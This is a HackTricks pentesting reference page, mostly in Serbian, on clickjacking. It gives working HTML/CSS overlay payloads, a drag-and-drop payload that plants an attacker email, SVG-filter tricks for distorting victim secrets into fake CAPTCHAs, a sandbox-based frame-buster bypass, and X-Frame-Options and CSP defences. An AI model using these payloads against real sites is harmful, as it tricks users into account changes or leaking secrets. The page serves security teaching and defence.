Clickjacking
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Šta je Clickjacking
U Clickjacking napadu, korisnik je prevaren da klikne na element na web stranici koji je ili nevidljiv ili prikriven kao drugi element. Ova manipulacija može dovesti do neželjenih posledica za korisnika, kao što su preuzimanje malware-a, preusmeravanje na zlonamerne web stranice, otkrivanje credentials-a ili osetljivih informacija, transferi novca ili online kupovina proizvoda.
Trik prepopunjavanja formi
Ponekad je moguće popuniti vrednosti polja forme koristeći GET parametre prilikom učitavanja stranice. Napadač može zloupotrebiti ovo ponašanje da popuni formu proizvoljnim podacima i pošalje clickjacking payload tako da korisnik pritisne dugme Submit.
Popunjavanje forme pomoću Drag&Drop
Ako želite da korisnik popuni formu, ali ne želite direktno da ga tražite da unese neku specifičnu informaciju (na primer email ili određeni password koji znate), možete ga jednostavno zamoliti da Drag&Drop nešto što će upisati vaše kontrolisane podatke, kao u this example.
Basic Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Višestepeni payload
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Ako ste identifikovali XSS koji zahteva da korisnik klikne na neki element da bi pokrenuo XSS i stranica je ranjiva na clickjacking, možete to iskoristiti da prevarite korisnika da klikne dugme/link.
Example:
Pronašli ste self XSS u nekim privatnim detaljima naloga (detalji koje samo vi možete podesiti i pročitati). Stranica sa formom za podešavanje tih detalja je ranjiva na Clickjacking i možete prepopuniti formu GET parametrima.
An attacker could prepare a Clickjacking attack to that page prepopulating the form with the XSS payload and tricking the user into Submit the form. So, when the form is submitted and the values are modified, the user will execute the XSS.
DoubleClickjacking
Firstly explained in this post, ova tehnika bi tražila od žrtve da dvaput klikne na dugme na prilagođenoj stranici postavljenoj na određenoj lokaciji, i koristi razlike u vremenu između mousedown i onclick događaja da učita stranicu žrtve tokom dvostrukog klika tako da victim actually clicks a legit button in the victim page.
An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18
A code example can be found in this page.
Warning
Ova tehnika omogućava prevaru korisnika da klikne na jedno mesto na stranici žrtve, zaobilazeći svaku zaštitu protiv clickjacking-a. Zato napadač treba da pronađe osetljive akcije koje se mogu izvršiti jednim klikom, kao što su OAuth prompti koji prihvataju dozvole.
SVG Filters / Cross-Origin Iframe UI Redressing
Savremene Chromium/WebKit/Gecko verzije dozvoljavaju da se CSS filter:url(#id) primeni na cross-origin iframes. Rasterizovani pikseli iframe-a su izloženi SVG filter grafu kao SourceGraphic, tako da primitivni elementi kao što su feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, itd. mogu proizvoljno deformisati UI žrtve pre nego što ga korisnik vidi, iako napadač nikada ne dodiruje DOM. Jednostavan Liquid-Glass style filter izgleda ovako:
<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
- Korisne primitive:
feImageučitava bitmap-e koje kontroliše napadač (npr., overlays, displacement maps);feFloodpravi maske konstantne boje;feOffset/feGaussianBlurfino podešavaju istaknute delove;feDisplacementMapprelama/izobličava tekst;feComposite operator="arithmetic"implementira proizvoljnu po-kanalnu matematiku (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), što je dovoljno za pojačavanje kontrasta, maskiranje i AND/OR operacije;feTileseče i replicira pikselske probe;feMorphologyuvećava/smanjuje poteze;feColorMatrixpremešta lumu u alfa kanal da bi se izgradile precizne maske.
Iskrivljavanje secrets u CAPTCHA-style upite
Ako framable endpoint prikazuje secrets (tokens, reset codes, API keys), napadač ih može iskriviti tako da podsećaju na CAPTCHA i primorati ručnu transkripciju:
<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>
The distorted pixels fool the user into “solving” the captcha inside the attacker-controlled <input> whose pattern enforces the real victim secret.
Rekontekstualizacija unosa žrtve
Filteri mogu ciljano ukloniti placeholder/validation tekst dok čuvaju pritiske tastera korisnika. Jedan tok rada:
feComposite operator="arithmetic" k2≈4pojačava svetlinu tako da sivi pomoćni tekst zasićuje u belu.feTileograničava radno područje na pravougaonik input polja.feMorphology operator="erode"zadebljava tamne glifove koje kuca žrtva i skladišti ih pomoćuresult="thick".feFloodkreira belu pozadinu,feBlend mode="difference"sathick, a drugifeComposite k2≈100pretvara to u oštru luma masku.feColorMatrixpremesti tu lumu u alfa kanal, ifeComposite in="SourceGraphic" operator="in"zadržava samo glifove koje je uneo korisnik.- Još jedan
feBlend in2="white"plus tanka obrezivanja daje čisto polje za unos, nakon čega napadač preklapa sopstvene HTML oznake (npr. “Enter your email”) dok sakriveni iframe i dalje primenjuje politiku lozinki porekla žrtve.
Safari ima problema sa feTile; isti efekat može se reprodukovati prostornim maskama izgrađenim od feFlood + feColorMatrix + feComposite za WebKit-only payloads.
Pixel probe, logika i state mašine
Sečenjem regiona od 2–4 px pomoću feTile i njegovim tiles-ovanjem do 100% viewport-a, napadač transformiše uzorkovanu boju u teksturu pune kadra koja se može pragovati u boolean masku:
<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>
Za proizvoljne boje, referenca feFlood (npr. #0B57D0) plus feBlend mode="difference" i još jedan arithmetic composite (k2≈100, k4 kao tolerancija) daje belu samo kada uzorkovani piksel odgovara ciljnoj nijansi. Uvođenjem ovih maski u feComposite sa doteranim k1..k4 dobijaju se logička vratta: AND kroz k1=1, OR kroz k2=k3=1, XOR kroz feBlend mode="difference", NOT putem blendovanja protiv bele. Povezivanjem vratta nastaje full adder unutar filter grafa, čime se dokazuje da je pipeline funkcionalno kompletan.
Napadači stoga mogu čitati stanje UI bez JavaScripta. Primer booleans iz modalnog toka rada:
- D (dialog visible): ispitaj zamračeni ugao i testiraj protiv bele.
- L (dialog loaded): ispitaj koordinate gde se dugme pojavi kada je spremno.
- C (checkbox checked): uporedi pixel checkbox-a sa aktivnom plavom
#0B57D0. - R (red success/failure banner): upotrebi
feMorphologyi crvene pragove unutar pravougaonika bannera.
Svako detektovano stanje upravlja različitim overlay bitmapama ugrađenim putem feImage xlink:href="data:...". Maskiranjem tih bitmapa sa D, L, C, R overlaji ostaju sinhronizovani sa stvarnim dijalogom i vode žrtvu kroz višestepene tokove rada (password resets, approvals, destructive confirmations) bez ikakvog izlaganja DOM-a.
Browser extensions: DOM-based autofill clickjacking
Pored iframovanja stranica žrtve, napadači mogu ciljati UI elemente ekstenzija pregledača koji se injektuju u stranicu. Password manager-i prikazuju autofill dropdown-ove blizu fokusiranih inputa; fokusiranjem polja pod kontrolom napadača i skrivanjem/zaklanjanjem padajuće liste ekstenzije (trikovi sa opacity/overlay/top-layer), primorani korisnički klik može izabrati uskladištenu stavku i popuniti osetljive podatke u inpute pod kontrolom napadača. Ova varijanta ne zahteva izlaganje iframe-a i funkcioniše potpuno putem DOM/CSS manipulacije.
- For concrete techniques and PoCs see: BrowExt - ClickJacking
Strategije za ublažavanje Clickjacking
Klijentske odbrane
Skripte koje se izvršavaju na klijentskoj strani mogu preduzeti mere da spreče Clickjacking:
- Osiguravanje da je prozor aplikacije glavni (top) prozor.
- Učiniti sve frame-ove vidljivim.
- Sprečiti klikove na nevidljive frame-ove.
- Otkrivati i obaveštavati korisnike o potencijalnim Clickjacking pokušajima.
Međutim, ovi frame-busting skripti mogu biti zaobiđeni:
- Browsers’ Security Settings: Neki pregledači mogu blokirati ove skripte na osnovu bezbednosnih podešavanja ili nedostatka podrške za JavaScript.
- HTML5 iframe
sandboxAttribute: Napadač može neutralisati frame buster skripte podešavanjemsandboxatributa saallow-formsiliallow-scriptsvrednostima bezallow-top-navigation. Ovo sprečava iframe da verifikuje da li je top window, npr.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
The allow-forms and allow-scripts values enable actions within the iframe while disabling top-level navigation. To ensure the intended functionality of the targeted site, additional permissions like allow-same-origin and allow-modals might be necessary, depending on the attack type. Browser console messages can guide which permissions to allow.
Odbrane na strani servera
X-Frame-Options
The X-Frame-Options HTTP response header informs browsers about the legitimacy of rendering a page in a <frame> or <iframe>, helping to prevent Clickjacking:
X-Frame-Options: deny- Nijedan domen ne može ugraditi sadržaj.X-Frame-Options: sameorigin- Samo trenutni sajt može ugraditi sadržaj.X-Frame-Options: allow-from https://trusted.com- Samo navedeni ‘uri’ može ugraditi stranicu.- Note the limitations: if the browser doesn’t support this directive, it might not work. Some browsers prefer the CSP frame-ancestors directive.
Content Security Policy (CSP) frame-ancestors directive
frame-ancestors directive in CSP is the advised method for Clickjacking protection:
frame-ancestors 'none'- Similar toX-Frame-Options: deny.frame-ancestors 'self'- Similar toX-Frame-Options: sameorigin.frame-ancestors trusted.com- Similar toX-Frame-Options: allow-from.
For instance, the following CSP only allows framing from the same domain:
Content-Security-Policy: frame-ancestors 'self';
Further details and complex examples can be found in the frame-ancestors CSP documentation and Mozilla’s CSP frame-ancestors documentation.
Content Security Policy (CSP) with child-src and frame-src
Content Security Policy (CSP) is a security measure that helps in preventing Clickjacking and other code injection attacks by specifying which sources the browser should allow to load content.
frame-src Directive
- Defines valid sources for frames.
- More specific than the
default-srcdirective.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Ova politika dozvoljava okvire sa istog porekla (self) i https://trusted-website.com.
child-src Direktiva
- Uvedeno u CSP level 2 za postavljanje validnih izvora za web workers i okvire.
- Služi kao rezervna opcija za frame-src i worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Ova politika dozvoljava frames i workers sa iste origin (self) i https://trusted-website.com.
Napomene o upotrebi:
- Zastarevanje: child-src se postepeno ukida u korist frame-src i worker-src.
- Ponašanje pri rezervi: Ako frame-src nije prisutan, child-src se koristi kao fallback za frames. Ako oba nisu prisutna, koristi se default-src.
- Strogo definisanje izvora: Uključite samo pouzdane izvore u direktive kako biste sprečili zloupotrebu.
JavaScript Frame-Breaking Scripts
Iako nisu potpuno pouzdane, JavaScript-based frame-busting scripts mogu se koristiti da spreče da se web stranica prikaže u okviru. Primer:
if (top !== self) {
top.location = self.location
}
Korišćenje Anti-CSRF Tokens
- Validacija tokena: Koristite anti-CSRF tokens u web aplikacijama da biste osigurali da zahtevi koji menjaju stanje budu izvršeni namerno od strane korisnika, a ne preko Clickjacked stranice.
Reference
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- DOM-based Extension Clickjacking (marektoth.com)
- SVG Filters - Clickjacking 2.0
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks

